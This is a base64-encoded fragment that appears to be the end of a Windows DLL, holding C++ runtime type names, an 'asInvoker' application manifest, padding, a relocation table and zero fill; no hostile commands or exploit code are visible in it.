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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA